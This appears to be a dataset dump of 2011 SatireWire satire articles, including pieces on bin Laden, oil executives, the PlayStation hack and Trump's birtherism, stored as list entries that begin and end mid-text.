Gibson sealed the victory by dunking over Dwyane Wade while simultaneously getting tattoos of both his wife and Cee Lo Green on his head. The arena went wild, but Heat players promised Gibson’s theatrics would be remembered. “We don’t appreciate that ink your face stuff,” said James. “We’re gonna use that to inspire us in Game 2, come out with some real energy. And maybe some tats of our favorite elementary school teachers.” "], ['no-topic', 'OIL EXECS WARN TAX HIKES WILL INCREASE COST OF SCREWING US', 'WASHINGTON, D.C. (SatireWire.com) — Dragged before Congress, oil executives on Thursday denied that industry tax breaks are used to increase profits, saying they are instead used to screw us, which they described as a pre-profit fixed cost along with exploration, drilling, extraction, refinement, and shipment. By eliminating tax breaks for the “big five” oil and gas companies, as Congress is proposing, industry would have to increase consumer prices to offset the added cost of screwing us, said Conoco Phillips chief executive James Mulva. “In our business, before we can even think about profit, we have to get the resource out of the ground, we have to get it to the pump, and we have to screw you,” he said. “Just like an oil rig plays a major role in the extraction process, these tax breaks play a major role in the screw-you process. “Taking that away is like saying we can’t use drills.” In several heated exchanges, however, Democratic senators refused to be sidetracked. “Look, we don’t want to get into your base costs here,” said Sen. Charles Schumer (D-NY). “What we’re saying is, why do you need tax breaks when you are making record profits?” Chevron chief executive John Watson was clearly angered by the insinuation. “I know you want to make us out to be the bad guys by saying we only care about profits, but that just isn’t true,” Watson said. “This is simply a matter of screwing you.” Sen. Jay Rockefeller (D-WV) then asked what percentage the screw-you charge accounted for in a gallon of gas. “Senator, as you know, our expenses can vary widely. Oil for instance has increased $40 a barrel in the last year,” responded Exxon Mobil chief executive Rex Tillerson. “But because you asked, and because you’re a senator, I will reveal that the cost is somewhere between one and screw you.” Republican Orrin Hatch of Utah sided with the energy firms, asking Tillerson to explain how the oil companies really have little choice but to screw us. “It’s true our hands are tied. We have to answer to shareholders who expect us to screw you,” said Tillerson. “Thanks to mutual funds, millions of Americans are among those shareholders. So in the end, the American people are demanding the American people screw themselves.” “Right. So either way, we’re screwed,” said Rockefeller. “And in answer to the unasked question, that’s how I sleep at night,” replied Tillerson. '], ['no-topic', 'BIN LADEN’S WIVES TALKING… AND TALKING', 'ISLAMABAD (SatireWire.com) – The man who took down the twin towers wouldn’t take down the toilet seat, bring freedom to a clogged sink, or just once orchestrate an attack on a pile of dishes, according to interrogations of Osama bin Laden’s wives. The three widows – known as Um Khalid, Um Hamza, and Amal al-Saddah – have been in Pakistani custody since last week and have been talking to investigators “non-stop” about the al Qaeda leader, although sources say they are not providing the information officials had hoped. “We don’t know anything more about bin Laden’s network, his targets, or his strategy,” said the source. “But we do know he forgot anniversaries, didn’t help around the house, and spent most of his time living in the past.” “With him it was always ‘9/11 this’ and ‘9/11 that’ and ‘Oh, did I mention my key role in 9/11?’” third wife Um Khalid told interrogators. “Honestly, it was like living with Rudy Giuliani.” “Most days he’d just sit around coloring his beard, watching reruns of his own speeches,” added Amal al-Saddah, his fifth wife. “Every time he heard himself say, ‘Death to America,’ he’d take a shot of tequila.” “Of course he kept confusing the TV remote for the remote detonator,” fourth wife Um Hamza chimed in. “Every time he changed channels, he blew up a car in Baghdad.” And surprisingly for a man famed for moving from place to place, bin Laden apparently never stopped to ask directions. “I swear that man had no sense of where he was, and of course he wouldn’t listen or ask for help,” said Um Khalid. “Sometimes he faced east and prayed to Tokyo fives times a day.” “You know the phone numbers that were sewn into his jacket?” added Amal al-Saddah. “Those were our phone numbers. We put them there in case he got lost.” “On his way to the bathroom. Five times a night,” said Um Hamza. According to intelligence officials, the Pakistani government may now extradite the wives to the U.S., not because of U.S. pressure, but because they need an excuse to get rid of them. “Basically we made a mistake in the beginning when we said, ‘Tell us about your husband,’” the source said. “From that point on they just wouldn’t stop complaining. After five days we said, ‘OK, you can leave,’ and they said, ‘Sit down. We’re not done.’” The picture the women painted was of a frustrated, detached and jealous old man: INTERROGATOR: Was your husband a terrorist? UM KHALID: Of course. He was a man. Men are terrorists. UM HAMZA: That’s a stupid question. AMAL: Yes. Ask us if he was a good husband. He wasn’t. UM HAMZA: Or a good lover. He was 6-foot-6 tall, but not exactly proportional, if you know what I mean. AMAL: You try making love to a man wearing bombjamas. INTERROGATOR: No but… UM KHALID: And he was very jealous. All those suicide bombers? They weren’t fanatic volunteers. They were our ex-boyfriends. AMAL: That’s why he wouldn’t let us go outside. I’d say, “But I just want to go shopping,”’ and he’d scream, “Liar! You want to have disgusting sex with some strange, wicked man.” I was like, “Yeah right, I can do that at home.” UM KHALID: He wasn’t a man, he was a Neanderthal. Did you know he built a man cave in his actual cave? INTERROGATOR: OK but… AMAL: Let’s be fair girls, he did have his sensitive side. UM KHALID: True. We had pet names for each other. I called him “Pooky Bear” and he called me “Human Shield.” UM HAMZA: And remember how he cried during the royal wedding? AMAL: He said it was a beautiful ceremony and they were a beautiful couple. He really wished he could have been there to blow it up. INTERROGATOR: Did he plan to attack the royal…? UM HAMZA: But mostly he was a pig. He never liked to cuddle. UM KHALID: Except when he was being shot at. Then he was all over you. UM HAMZA: He was clueless. He helped his son build a model airplane, then got upset when his son broke it. The man had no sense of irony whatsoever. UM KHALID: Or sense of humor. His favorite joke in Afghanistan was “This place isn’t so Tora Boring.” UM HAMZA: Likewise with “C’mon, this place isn’t so Abbottabad.” He demanded you laugh. UM KHALID: He demanded all the time. Like insisting we wash the dishes in the blood of Zion. INTERROGATOR: Yes but… UM HAMZA: My imam called it Retired Terrorist Syndrome. You know, out of work, stuck at home all day. Nothing to explode. AMAL: They treat you like subordinates, always giving orders. He’d say things like, “Amal, the microwave has refused my command. Destroy it!” Or “Amal, the sink is backed up. Cut its water supply!” UM HAMZA: He used to kidnap the kebab delivery boy for ransom once a week. What was that about? UM KHALID: We’d let him go. We’re not terrorists. AMAL: Well… UM KHALID: OK, we’re not entirely innocent. You know the underwear bomb? That was Amal’s idea. AMAL: If you had to wash that man’s underwear every day, you’d understand. UM HAMZA: I’m surprised no one tracked him down before this, because believe me he left skid marks. '], ['no-topic', 'LIFE TURNS OUT TO BE ABOUT THE DESTINATION', 'BOSTON (SatireWire.com) — Interviews with more than 1,000 people moments before they died revealed that contrary to popular wisdom, life is actually about the destination, not the journey, and the destination sucks, “I’m 87, I’ve been a lot of places and seen a lot of things in my life, but right here, now, in the hospital, at the end, I can tell you it bites the big one,” Cincinnati resident Richard Breen told researchers from Boston College. “I’ve got tubes coming out of me everywhere, I haven’t eaten in days, and my kids are going to sell my house the moment I’m gone. In a side study, 75 percent of Boston College researchers said their study was horribly depressing. “So don’t tell me it’s about the journey,” he added. “For me it’s all about the destination, and it sucks.” Breen reinforced his point by dying of kidney failure moments later. Researchers at Boston College who conducted the study said they were initially surprised that the aphorism, attributed to 19th Century poet Ralph Waldo Emerson, had proven to be untrue after all this time. However, after conducting the interviews, they soon recognized their perspective had blinded them. “When Emerson wrote ‘Life’s a journey, not a destination,’ he was still alive, and what we realized was that all the people who tell you life is about the journey are still on that journey, so of course they’re going to say that,” said Philosophy Prof. Anders Pehrson. “But it’s the people at the end, who have reached the destination, who really have the sense of what life is about, and, by and large, they’re not pleased.” The study immediately drew criticism from poets and theologians who argued that the moment before death is still part of the journey. But Pehrson disagreed, pointing out that poets and theologians didn’t fund his study. Joel Kantz, a 66-year-old emphysema sufferer in London, agreed. “They tell you the destination is the after-life, but the truth is the journey is over when you can no longer stand or dress yourself or go to the toilet,” said Kantz. “But they don’t want you to know about that, ‘cause if you did know you’d go and top yourself during the journey.” Asked who “they” were, Kantz did not respond, as he had died. The death of interview subjects like Kantz was a constant irritant to researchers, said lead investigator Prof. Nicholas Joyce. To offset this, his team also spoke with surviving passengers of auto accidents in which the driver died instantly during head-on collisions. Eyewitnesses were asked what the drivers’ last words were moments before impact — when each driver had, in that sense, reached his or her destination and could share their impression of it. In 68 percent of accidents, Joyce said, the driver’s final observation was reported to be, “Oh shit.” It was Joyce in fact who initiated the study five years ago while standing at the hospital bedside of his father, who was on life support. Several grandchildren were in the room as well, and Joyce felt he should console them. “Dad had a tremendous life, a tremendous journey,” Joyce recalled saying. “And I know he’s at peace now that he’s at the end.” “Dadddy that sounds nice. Can I go too?” his daughter asked. “God no, don’t be stupid,” Joyce snapped. “You want to end up like this?” It was then Joyce realized that no matter how much it is dressed up, man knows instinctively that the destination should be avoided. “The after-life may be a golden palace, but the stop before that is a Motel 6 in Jersey City,” he said. '], ['no-topic', 'PHOTOSHOPPERS DEMAND RELEASE OF BIN LADEN IMAGE', 'PALO ALTO, CA (SatireWire.com) — Millions of Photoshop users today circulated a Photoshopped image of Photoshoppers protesting outside the White House to show their anger at President Obama for refusing to release a photo of Osama bin Laden’s corpse — a photo they said would have gone on to become the most Photoshopped image of all time. Photoshopped image of Photoshoppers protesting at the White House. “I think the American people, who have suffered so much, have a right to see what we would have done with that image,” said Kenyon Tucker, a systems engineer in St. Louis. “Today alone I was going to ignore the project review I was supposed to do and put dead bin Laden on ‘The Apprentice,’ where he was going to get fired, and on the cover of Time magazine. He was going to be ‘Dead Person of the Year.’” Photoshopper Eric Craig of Minneapolis said he was choosing between six different photos of Dick Cheney with a rifle when he got the news that no image of the al Qaeda leader would be forthcoming. “It was almost like another 9/11 for me,” Craig said. “All my hopes and dreams were dashed in that instant. I was even going to use the reticulation filter and anamorphic pixel aspect ratio.” Like many of the world’s estimated 30 million Adobe Photoshop users – many of whom actually own the program legally – Craig rejected the White House argument that the image of bin Laden is too “gruesome” to release. “The White House knows as well as I do that as soon as they released that picture, we would do things to it that would, by comparison, make the original picture seem harmless,” Craig said. “I mean, what’s more offensive, a photo of bin Laden missing half his face, or a photo of bin Laden missing half his face standing next to Jesus who’s holding a gun and saying, ‘Alright, now turn the other cheek’? “That’s totally my idea, by the way, if anyone tries to use it,” he added. For Bobby Thayer of San Simeon, Cal., the most important issue for himself, and the rest of Photoshop Nation, is closure. “They say bin Laden’s dead, but I’m just not going to be sure he is really, truly dead until I see the picture,” Thayer said. “And put it on the head of a moose standing next to Sarah Palin in a bikini holding a machine gun.” '], ['no-topic', '“CREEPED OUT” PLAYSTATION HACKERS RETURN IDENTITIES', "NEW YORK, NY (SatireWire.com) — Just two weeks after breaching the Sony Playstation Network database, hackers today returned the nearly 80 million stolen identities, saying many of them were so “sad,” “disturbing,” or “frighteningly abnormal” that they should never be replicated. Despite stealing Charlie Sheen's identity, hackers said even he was not creepy enough to be put on a list. “When we got into the network, we took away lot of stuff — addresses, credit card numbers, passwords – but mostly what we took away was that Playstation users have a very high creepiness factor,” said Ampli2D, one of the four hackers involved in the theft. “The truth is we don’t want to clone their credit cards or in any way pretend we’re these people. No one should. Ever. “I’m serious,” he added. “Ever.” Ampli2d said he didn’t want to get into specifics due to “recurring night terrors,” but said of the 77 million people whose accounts they inspected, about 8 million should never be allowed near sharp objects, small children, or, in a few cases, taxidermists. Ampli2d and his colleagues broke into the database in mid April and spent the next week categorizing stolen accounts numerically, depending on how much detail they had on each person. But as they learned more about the users – delving into personal emails and even hard drives — they changed their groups to include categories such as “Sad,” “Creepy,” “Embarrassing,” “Appalling,” “Please God No,” “WTF?” and “Seriously, WTF?” Domino, another of the hackers, said they didn’t make a “Gaming Obsessed Introvert” category as it would have been too large. She also refused to say what separated “WTF?” from “Please God No,” insisting she didn’t want to give anyone ideas. “Really, really, really weird ideas,” she said. Asked how bad the information was, Domino smiled. Then laughed. Then sobbed. Then shook violently for 30 seconds. Then frowned. “You know how friends and neighbors of a murder suspect say they wish they could have seen it coming?” she said. “Well, let me just say that if you’re a friend or neighbor of Jared Lee Castlewood from Bellmar, Ohio, it’s coming. It’s most definitely coming.” Domino also advised anyone who knows Carla Luciana Farzati of Siena, Italy, not to look under her bed, and insisted Kevin Doohan MacManus of Glasgow should never be asked where he got that scar. Another accomplice, nicknamed MemeDeath, said he was more concerned by residents of an entire dorm of university students in Boston, who were put on a special Do Not Replicate list. MemeDeath grew agitated at the suggestion that the students were put on the list only because they had no money to steal. “Look, this isn’t about money,” he said. “This is about self-respect. This is about common decency. This is about… well… let’s just say it involves the words ‘fat-thwacking’ and ‘skin weasel.’ Which were terms I’d never heard before. And wish I never had.” Three of the four hackers say they are now on medication. According to reports, PlayStation users plan to file suit against Sony for failing to have computer safeguards in place, thereby exposing their information to intruders. Hackers now say they plan to sue Sony for the same reason. "], ['no-topic', 'PAKISTAN TOUTS ‘VITAL’ IGNORANCE ROLE', "ABBOTTABAD, PAKISTAN (SatireWire.com) — Pakistan’s government today rejected claims it was excluded from the assault on Osama bin Laden, insisting it had “proudly” taken part in all aspects of the planning, training, and implementation of the operation that involved Pakistan having no idea what was going on. Administration officials in the Situation Room watching events unfold. Sources later conceded Joe Biden wasn't supposed to know either. “In deciding not to inform us, America recognized how vital it was that we not know, that in truth our ignorance was key to the success of the operation,” said Pakistani President Asif Ali Zardari. “In fact I was shown the operation brief today, and right at the top, in very big red letters, were the words, ‘Don’t tell Pakistan!’ So this is proof that we were part of the operation literally from the beginning. “Honestly. We are right there, in the first sentence,” he added. “I do not understand how people are not seeing this.” U.S. Navy Seals went into Abbottabad late Sunday, killing the al Qaeda leader and removing his body. Distrusting the Pakistani government, which had repeatedly insisted bin Laden was not in their country, the U.S. did not tell its ally of the assault until American forces were clear of Pakistani air space. But U.S. officials agreed that Zardari and Pakistan’s intelligence services had made “immeasurable” contributions. “Pakistan has been a great help in the war on terror in much the same way that, say, a bowl of soup is a great help in stopping an elephant,” gushed CIA Director Leon Panetta. “I have no doubt that this is not the last time we will turn to Pakistan’s leaders for help and then, thinking better of it, turn away.” As for bin Laden’s presence in his country, Zaradi insisted it should not be seen as embarrassing. “Bin Laden lived in with us a very long time and we did not know it, so therefore it is the brave, persistent ignorance of Pakistan that kept this terrorist from being in a more remote location where an attack would have been much more difficult,” he said. Zardari said President Obama had not traveled to Pakistan to thank him, but conceded he might be somewhere in Pakistan, they just haven’t found him. "], ['no-topic', 'DNA PROVES BIN LADEN A SHITHEAD', "ISLAMABAD (SatireWire.com) — DNA testing proves “beyond a shadow of a doubt” that the man killed by U.S. forces at a Pakistani compound late Sunday was, in fact, the world’s biggest shithead, the White House confirmed today. Bin Laden's DNA watch matched to other known shitheads Al Qaeda leader Osama bin Laden, who was gunned down in the raid, had long been suspected of being a shithead, but officials said they had rarely gotten close enough to be sure. “We were fairly certain that we had bin Laden because upon entering the compound, our operatives radioed that they could see several shitheads, including one really big shithead,” said one official. After killing bin Laden, operatives took him aboard a helicopter, where they conducted the tests. “A shithead has a unique DNA signature, and we were able to match bin Laden’s DNA to other known shitheads,” said White House counterterrorism adviser John Brennan. “No test is absolute, but I can state with 99.9% certainty that he was a massive shithead. Seriously huge.” No further tests on the body can be done as it has been buried at sea, but sharks in the area report eating something that tasted like shit. Administration officials are now weighing the merit and appropriateness of releasing a photo of bin Laden. “Right now we are divided,” said Brennan. “We could release an image to satisfy the skeptics, but then again, who wants to look at a photo of shit?” "], ['no-topic', 'OBAMA ACCUSED OF POLITICIZING KILLING OF BIN LADEN BY KILLING BIN LADEN', "WASHINGTON D.C. (SatireWire.com) — Republicans today accused President Obama of needlessly politicizing Osama bin Laden’s death by intentionally being the President at the time of Osama bin Laden’s death. Arguing that party affiliation doesn't matter, Fox News’ put bin Laden’s death during the Bush presidency. “The President is using the war on terror as a political tool,” said Sen. Majority Leader Mitch McConnell, (R-KY). “He knows full well the American people will give him credit for killing bin Laden, and yet, despite the obvious political gain, he did it anyway.” McConnell went on to insist the President was well aware that he was the President and even admitted as much during a late Sunday meeting during which Obama advised Republican leaders of the imminent mission. “The President told us we were going to kill bin Laden and a hush fell over the room,” McConnell recalled. “We all just looked at each other in disbelief. Then I remember, very pointedly, saying, “But… but if we do it now, you’re the President,” to which the President responded, “I know.” In the “spirit of bipartisanship,” Republicans then asked Obama if they too could authorize the killing, but were refused. Obama himself has taken no personal credit for the attack, which Fox News said justifies its network’s coverage of the mission; specifically, that bin Laden died on May 1, 2007 — during the Bush presidency. Meanwhile, Fox anchor Brit Hume called it a “very strange coincidence” that the President ordered bin Laden to be killed only a few days after the President released his official birth certificate. “The President announces to the world, ‘Hey I’m definitely the President’ just before he authorizes this?” said Hume. “Sounds to me like he wanted us to know he was President. Why else would he do it?” Democrats defended the President, emphasizing that he achieved what President George Bush, in eight years, was unable to do. But Sen. Richard Shelby, (R-AL), said the previous administration’s failures were what led to the al Qaeda leader’s death. “It’s like when you’re trying to unscrew the top off the new jelly jar,” Shelby explained. “We worked and worked on that thing for eight years, so when we passed it to Obama, it was probably already loose.” At a midday press conference Monday, House Speaker John Boehner, (R-OH), summed up the GOP position. “The truth is, party affiliation does not matter,” said Boehner. “I mean, let’s say a Republican were in charge. In that case, we’d be saying the Republicans killed Osama bin Laden. Let me just repeat that: the Republicans killed Osama bin Laden.” "], ['no-topic', 'BRITS MARK INDIFFERENCE TO WEDDING BY GATHERING, CHEERING', 'LONDON (SatireWire.com) — Millions of crying, cheering, flag-waving Britons gathered in streets, pubs, and homes today to display the professed disinterest in the royal wedding that most had claimed to have before the event. Kate and Will pass by massive crowds of apthetic Brits In survey after survey conducted before the marriage of Kate and Will, as many as four in five U.K. residents said they felt indifferent toward the wedding. Most said they had no plans to celebrate, rendering the estimated 1.5 million people on the streets, including more than 600,000 in Hyde Park, irrelevant. “Most Brits are beyond all this hype now,” said Ollie Tyler, a 23-year-old shop clerk from north London as he stood in Hyde Park not watching giant TV screens showing Kate Middleton arriving at church. “I think we’ve moved on from the days where somehow royalty was seen as inherently bette… Oh my God, look at that dress!” Near Westminster Abbey, Kevin Dornick said he came down from Coventry on Wednesday and spent two nights on the pavement “strictly by accident.” As for his outfit, he said, “Yes, I am wearing a Prince William mask, and I’m waving a flag, and I’m dressed like George III, but that’s just what I wear in the Capital. “If I really wanted the royals’ attention, I’d let the them know that I couldn’t give a toss about them,” he added. “And the way I’d do that is, when the carriage goes past, I’d shout, ‘We love you Princess!’ Which I did.” While many in the crowd were foreigners, most did appear to be British, an oddity that was explained by Fiona Green of east London. “I’m only outside today ‘cause it’s a bank holiday, innit?” said Green as music filled the Hyde Park air. “Me and mine we always come out and join a conga line wearing our Prince Harry wigs and our Union Jack faces and our Royal Cavalry jodhpurs on a bank holiday.” The guard claims he confiscated the sign. The remarkable sense of apathy was also displayed in the skies. As William and Kate stood on the Buckingham Palace balcony — waving to crowds amongst whom only the foreigners were adoring — the Royal Air Force’s Battle of Britain Memorial Flight (BBMF) soared overhead. “What, that? No, we were just flying over anyway,” R.A.F. Capt. James Hepperhorn explained later. “Just, you know, going in that direction. On this particular day. In our ceremonial World War II aircraft. With ‘Congratulations from all at the BBMF’ painted on our helmets.” The ‘congratulations’ was for the weather, Hepperhorn explained, which was lovely. Even the realm’s most imperturbable members were visibly indifferent toward the day. Sergeant Daniel McManus of the famously stoic Buckingham Palace guards stood his post, sternly holding a large “I Love U Kate!” sign. “Confiscated from the crowd,” McManus explained, staring straight ahead. “Matter of dignity.” “She waved, by the way,” he added. “Kate. When she saw the sign. I’m just saying.” '], ['no-topic', 'TRUMP CLAIMS OBAMA NOT', "NEW YORK (SatireWire.com) — Barack Obama was not born in Hawaii because his birth certificate does not exist as nothing can be proven to exist outside one’s self and therefore proof that a thing, such as a birth certificate, exists, is only possible to the person who perceives it exists, and even then it cannot be said to truly exist as the certificate itself exists outside the self and nothing exists outside the self, including President Obama himself, whose existence outside himself cannot be proven by anyone other than himself, so there, Donald Trump argued today. Trump's solipsistic view of the world shows he's not a pompous, ignorant populist one snort short of Charlie Sheen after all. The surprisingly complex position effectively puts an end to the debate over the President’s birth on the same day the President released his actual birth certificate, which, unfortunately for Obama, now cannot be proven to exist. It is a remarkable turnaround for Trump, who up until this point had come across as an idiot. But in an interview with CNN’s Anderson Cooper, the real estate mogul was finally able to explain his seemingly moronic stance after being presented with incontrovertible evidence showing Obama was born in Hawaii. COOPER: Mr. Trump, the President has released his certificate, and I’ve shown you solid proof that the President was born in Hawaii. TRUMP: Anderson, all I can tell you is, my people believe otherwise. And by the way “my people” includes the blacks. I’m good with the blacks. COOPER: But how can you believe otherwise despite the evidence? TRUMP: What evidence? You say it’s evidence. Maybe I have different evidence. Or maybe the evidence doesn’t exist. COOPER: The only way it doesn’t exist is if you’re a solipsist. Then you would argue nothing exists outside the self, and if it does, nothing can be known about it, and therefore by extension President Obama’s birth certificate, and even the President himself, does not exist. Is that what you’re saying? TRUMP: I like that. Yes. That’s what I’m saying. COOPER: Oh. OK. Because before this you just kinda sounded insane. TRUMP: No more than you people are. And by ‘you people’ I mean prematurely gray people. I’m good with the grays. News of Trump’s new stance came as a shock to the White House, where officials did not respond as they were busy accepting the fact that the White House, both as a physical structure and a political concept, were now outside the realm of the possible. The real estate mogul’s clarification also quickly caught fire in the media, which had often viewed Trump as a vapid, greedy, egomaniacal huckster one tanning session short of ‘Jersey Shore.’ “I misjudged Donald Trump. He is now clearly the Republican front-runner for president,” said MSNBC’s Rachel Maddow. “Here is a man who can appeal to intellectuals because of his ability to extemporize on pre-Socratic thought, yet at the same time appeal to birthers because he also just seems so… dumb.” On NBC’s “Meet the Press,” host David Gregory referred to Trump as “Mr. President” because he couldn’t definitively prove he wasn’t, and admitted he was wrong to think of “The Apprentice” star as nothing more than a pompous, lying philanderer one midget short of P.T. Barnum. Trump has not actually declared himself a candidate for president, but promised to make a decision by June, at which time he will make the announcement to himself in his mind. Hinting at the future, however, he said he expects his new-found erudition to scare away any potential Republican opponents. “As I understand what I’ve been saying, each of us exists only in our own minds,” he said. “Well let me tell you I have a very big mind. It’s much bigger than what you are hearing; bigger than Mitt Romney’s or Mike Huckabee’s. And in my mind I should be president. In fact, I might already be. I haven’t told myself yet.” "], ['no-topic', 'U.S. NEEDS ONE MORE WAR FOR BINGO', 'WASHINGTON D.C. (SatireWire.com) – With three conflicts underway and the middle “free space” already marked, America is just one war away from Bingo, the Pentagon confirmed today. The Bingo card "is not actually in use," said Defense Secretary Robert Gates. "We\'re just saying if it was, we\'d be winning." Defense Secretary Robert Gates, however, strongly denied the Pentagon’s bingo card has ever influenced decisions on military intervention, and insisted the U.S. “never has and never will” play games with American and allied lives. But if it did, Gates noted, the quickest route to victory would be on the diagonal, from upper left to bottom right, finishing with the square reading “Syria.” The Defense Secretary added that the Pentagon’s bingo card dates back to his predecessor, Donald Rumsfeld, and is now only kept as a deterrent to the abuse of power. “We keep it as a chilling reminder, and a warning to us all, of how cavalier a government can become about matters of life and death,” Gates explained. “And also because we’re only one spot away from winning. I mean, ‘ugh,’ right? One spot!” “Not that we… you know… not that that matters,” he added. Despite the denials, the disclosure angered human rights advocates and several American allies, including Great Britain, which has been involved in all three of the current military interventions. “Plainly put, nobody told us there was bingo,” Prime Minister David Cameron told the House of Commons. “And while we of course abhor the idea, we also point out that we, by our involvement in these same conflicts, are also one space away from winning.” Gaddafi\'s Bingo card, with "America," written in Arabic, on every space. Pentagon officials, however, quickly pointed out that British troops left Iraq in 2009 and therefore Great Britain has only two spaces, plus the free space, covered. “Not… you know… not that that matters,” Gates said. In Tripoli, Libyan leader Col. Muammar Gaddafi said he was not surprised the U.S. had “turned death and destruction into a stupid game,” but insisted the attack on his regime could not be used by America to eventually claim victory. “America’s Bingo card is worthless and means nothing,” Gaddafi said. “Because I too have a Bingo card and it has ‘America’ in every square and I have already won many times over.” “I did not even need to use the free space,” he added. “Look, I have all the advanced patterns too: the ‘T,’ the ‘Lucky 7,’ the ‘Railroad Tracks.’ Not so crazy now, am I?” On a separate issue, Gates was asked why the U.S. Bingo card shows the nation of “Portugal” as marked off. Said Gates: “That was… yeah… we just thought somebody said… it sounded like… you know, ‘Portugal’ and, um…” Washington has officially apologized to what’s left of Lisbon. '], ['no-topic', 'IPHONE SECRETLY TRACKING HOW DULL YOUR LIFE IS', "CUPTERINO, CAL. (SatireWire.com) — Apple iPhones secretly track and record their owners’ location, a potentially devastating privacy breach that experts warn could force people to face the fact that they never really go anywhere interesting. One man's entire life is centered on the New Jersey Turnpike. British researchers who uncovered the hidden file say it logs the phone’s whereabouts for the previous 10 months, and includes a date and time stamp with each location. They also created a program allowing users to upload their data and build a map that researchers termed “remarkably detailed” and iPhone owners called “depressingly accurate.” Apple claims the application helps it improve location-based services, but iPhone users were upset. “I find it absolutely outrageous that my phone has been secretly documenting the fact that for nearly the past year, I have been going, basically, nowhere,” said Daphne Coleridge, a receptionist and mother of two in Houston. “This is a map of tedium. Home, school, work, store, home, school, work, store, home… wait… dentist. I stand corrected.” “With a few exceptions, I’ve spent the last 10 months of my life within 20 miles of the New Jersey Turnpike,” added Caldwell, N.J. resident Brian Porteri. “I’m not so much angry that Apple knows this information, I’m angry that I know this information.” Expressing the fears of many iPhone owners, Porteri said he is concerned the information could fall into the wrong hands. “If my dad gets a hold of this file, I am screwed,” he said. “It will validate everything he’s ever said about me.” Psychologists, in fact, are encouraging iPhone users not to attempt a mapping. “Unless you’re a Saudi prince or Charlie Sheen, you probably won’t like what you find,” said Dr. Martin Landreaux of Chicago’s IT Institute. “In medical terms we call the experience a ‘repiphany’ – the sudden, insightful realization that you’re pretty much doing the same things over and over again.” Despite the widespread outrage, however, not everyone finds the app offensive. “I value routine, so for me and my wife, it confirms our life is stable,” said Mark Tedeschi, a computer programmer in London. “It shows I usually go to the same places: work, the shops, our flat, and my best mate Dan’s house. I mapped my wife’s iPhone and it’s the same with her: work, the shops, our flat, and my best mate Dan’s house. Day after day, we’re both doing exactly … hang on.” "], ['no-topic', 'FOX BLASTS OBAMA FOR LANDING ABORTION', 'ANDREWS AIR FORCE BASE, MD (SatireWire) — A plane carrying First Lady Michelle Obama had to abort its landing Monday, quickly drawing fire from Fox News and Right to Land groups who said they believe landing begins at descent. Ducie (left), Carlson (center) and Kilmeade rejected the White House claim that the landing was aborted to protect the life of the FLOTUS. Obama’s Boeing 737 was attempting to touch down at Andrews when pilots were told to abort because a 200-ton cargo plane was still on the runway. Officials said the cause was an air traffic controller’s mistake, but political opponents accused the administration of deflecting blame. “Choosing ‘land’ is never a mistake,” said Cary-Ann Gadsby, president of National Right to Land, which Gadsby said was formed shortly after the story broke and Fox executives called her to suggest she create such a group. “This plane was almost at delivery and at the last moment was not allowed to come to its full terminal.” A National Guard spokesman said the flight later touched down safely and stressed the First Lady was never in danger, a claim that baffled Fox & Friends morning anchor Gretchen Carlson. “So Mrs. Obama had the option to choose land, her health wasn’t in danger, and still she chose to abort?” said Carlson, shaking her head. “Exactly,” added Fox co-host Brian Kilmeade. “Honestly, if they didn’t want to land there they could have found another airport. I bet there are dozens of loving airports that probably have been waiting years to have a beautiful plane delivered to them.” White House Press Secretary Jay Carney, however, dismissed the criticism as politically motivated. “Airplanes don’t have abortions and to associate Mrs. Obama with the word ‘abortion’ is itself an abomination,” Carney said. “In this case the pilots were asked to do a ‘go around,’ which they did. There was no abortion.” After watching a tape of Carney’s statement, Carlson threw up her hands. “All I heard was ‘abortion,’” she said. The White House stressed that no one was injured or at risk, and said First Lady Obama was not even aware she had gone through an aborted landing. “God, it’s just that easy for her,” responded Carlson. “That woman doesn’t feel a thing.” '], ['no-topic', 'REDDIT-BASED UPRISING DOWN-VOTED', 'RIYADH, SAUDI ARABIA (SatireWire.com) — Cut off from Twitter and Facebook, protesters in Saudi Arabia yesterday turned to social news website Reddit to organize an uprising, but failed after their call for revolt was down-voted. The would-be rebels attempted to organize a rally outside the Murabba Palace in the capital city of Riyadh. After posting details on Reddit – a site in which readers can vote submissions up or down, and comment on them — their call to action initially received several upvotes and promises of participation. The uprising fell apart, however, as some commenters then began to argue over grammatical errors in the submission, while others insisted the submitter posted to the wrong category or didn’t promise to provide bacon – a favorite food of Redditors. According to Saudi police, only three people showed up for the rally. Two of them – whose screen names were freesaudi11 and arabia4evah, were beaten and arrested. The third was a Reddit moderator informing the other two that their post had been removed. The pair had hoped to push for political and religious reform in the kingdom, long ruled by the Saud family. The government, aware that Twitter and Facebook helped to take down dictators in Egypt and Tunisia, cut off access weeks ago to most social networking sites. Reddit, however, remained available, as King Abdullah is a frequent Reddit poster and is known to use the screen name LoveCrumpet019. Saudi officials did not respond to questions about the protest, but a screen grab of the online posting shows Abdullah, or someone using his screen name, made several comments on Reddit encouraging readers to downvote. The original Reddit post and subsequent comments are below. Saudis Rise Up! Protest today at Marabba Palace. 6 p.m. This is hour time! submitted 2 hours ago by freesaudi11 22 comments share save hide report All 22 comments sorted by: top arabia4evah 8 points 2 hours ago I will be with you! We must show the corrupt family of Saud that they cannot to be tolerated any longer. permalink parent report reply shariaoutlaw 25 points 2 hours ago Will there be bacon? permalink parent report reply crudedoyle 4 points 2 hours ago Yes! Down with Abdullah! Up with bacon! I am upvote most heartily. permalink parent report reply lovecrumpet019 4 points 2 hours ago No no no. Saudi Arabia IS free! The people are most happy. This posting person is a foreign agent on hallucination pills. Downvote if you love freedom! permalink parent report reply particularsnit 7 points 2 hours ago I don’t know anything about Saudi Arabia, but why is this posted on Reddit? Use Twitter. permalink parent report reply freesaudi11 1 point 2 hours ago Twitter is cut off from us. To spread word and set us free we rely on Reddit! permalink parent report reply happymemeperson 18 points 2 hours ago And my axe! permalink parent report reply annoyingone 11 points 2 hours ago I don’t mind that it’s on Reddit. But why is this posted to r/worldnews? It’s not ‘news’ because it hasn’t happened yet. Downvote.” permalink parent report reply lovecrumpet019 3 points 1 hour ago Yes I am totally agree. This should have been posted to r/meetup. Or r/anarchy? Or r/foreignagentsondrugs. Mods please to remove! permalink parent report reply englishmajor44 33 points 1 hour ago [_]__[_] “Hour time”? Should be “our time”. permalink parent report reply happymemetime 30 points 1 hour ago Should be “Hammer time!” permalink parent report reply neverreadstories 35 points 1 hour ago Axe time! permalink parent report reply pondjumper 40 points 1 hour ago Bacon time! permalink parent report reply Freesaudi11 1 point 1 hour ago Please! This is not relevant. Lives are at steak. permalink parent report reply pondjumper 6 points 1 hour ago Mmm… steak. permalink parent report reply lovecrumpet019 1 point 1 hour ago 